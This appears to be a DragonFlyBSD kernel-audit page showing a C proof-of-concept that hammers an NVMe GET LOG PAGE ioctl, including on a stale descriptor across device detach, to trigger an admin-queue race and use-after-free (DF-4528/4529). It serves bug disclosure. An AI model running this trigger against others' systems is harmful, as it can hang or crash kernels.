⬢ DragonFlyBSD Kernel Audit
DF-4528 / nvgetlog.c
← back to finding ↓ download raw
/*
 * DF-4528 / DF-4529 PoC -- NVMe admin-queue race / detach UAF prober.
 *
 * Issues NVMEIOCGETLOG (raw admin GET LOG PAGE) against an nvme(4)
 * namespace device:
 *
 *   nvgetlog once <dev>             single command, dump result (sanity)
 *   nvgetlog spam <dev> <secs>      loop getlog, per-ioctl latency stats
 *   nvgetlog victim <dev> <secs>    keep ONE fd open across detach and keep
 *                                   issuing getlog on the (possibly stale)
 *                                   descriptor; reports errors/latency.
 *
 * A call taking more than 3s is reported as STUCK (kernel nvwait with no
 * timeout -> unkillable thread, DF-4528 lost-command symptom).
 */
#include <sys/ioccom.h>
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <time.h>

typedef struct { unsigned char pad[4096]; } nvme_admin_data_t;

typedef struct nvme_getlog_ioctl {
	uint8_t		lid;		/* log page to request */
	uint8_t		reserved01;
	uint16_t	status;		/* status return */
	uint32_t	ret_size;	/* NUMDL/NUMDU */
	uint32_t	beg_offset;	/* LPOL/LPOU */
	nvme_admin_data_t	info;	/* return data */
} nvme_getlog_ioctl_t;

#define	NVMEIOCGETLOG	_IOWR('O', 0, struct nvme_getlog_ioctl)

static volatile sig_atomic_t stop;

static void
onsig(int sig)
{
	stop = 1;
}

static double
now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (double)ts.tv_sec + (double)ts.tv_nsec / 1e9;
}

int
main(int argc, char **argv)
{
	nvme_getlog_ioctl_t ioc;
	double t0, t1, maxlat = 0.0, sum = 0.0;
	long n = 0, errs = 0, stuck = 0;
	int fd, delay_close = 0;
	const char *dev;

	if (argc < 3) {
		fprintf(stderr, "usage: %s once|spam|victim <dev> [secs]\n",
		    argv[0]);
		return 2;
	}
	dev = argv[2];
	if (strcmp(argv[1], "victim") == 0)
		delay_close = 1;

	signal(SIGINT, onsig);
	signal(SIGTERM, onsig);

	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		perror(dev);
		return 1;
	}

	if (strcmp(argv[1], "once") == 0) {
		memset(&ioc, 0, sizeof(ioc));
		ioc.lid = 1;			/* error log */
		ioc.ret_size = 4096;
		if (ioctl(fd, NVMEIOCGETLOG, &ioc) < 0) {
			perror("ioctl");
			return 1;
		}
		printf("status=%u lid=%u first16:\n", ioc.status, ioc.lid);
		for (int i = 0; i < 16; i++)
			printf("%02x ", ioc.info.pad[i]);
		printf("\n");
		return 0;
	}

	{
		double limit = argc > 3 ? atof(argv[3]) : 30.0;
		double start = now();
		double last = start;

		while (!stop && now() - start < limit) {
			memset(&ioc, 0, sizeof(ioc));
			ioc.lid = 1;
			ioc.ret_size = 4096;
			t0 = now();
			if (ioctl(fd, NVMEIOCGETLOG, &ioc) < 0) {
				errs++;
				if (!delay_close) {
					/* re-open (device may have re-appeared) */
					close(fd);
					usleep(20000);
					fd = open(dev, O_RDONLY);
					if (fd < 0)
						usleep(100000);
				} else {
					usleep(1000);
				}
				continue;
			}
			t1 = now();
			if (t1 - t0 > maxlat)
				maxlat = t1 - t0;
			if (t1 - t0 > 3.0) {
				stuck++;
				printf("[%d] STUCK call took %.3fs (#%ld)\n",
				    getpid(), t1 - t0, n);
				fflush(stdout);
			}
			sum += t1 - t0;
			n++;
			if (t1 - last > 1.0) {
				printf("[%d] n=%ld errs=%ld maxlat=%.4f "
				    "avg=%.5f stuck=%ld\n", getpid(), n, errs,
				    maxlat, n ? sum / n : 0.0, stuck);
				fflush(stdout);
				last = t1;
			}
		}
	}
	printf("[%d] DONE n=%ld errs=%ld maxlat=%.4f stuck=%ld\n",
	    getpid(), n, errs, maxlat, stuck);
	return 0;
}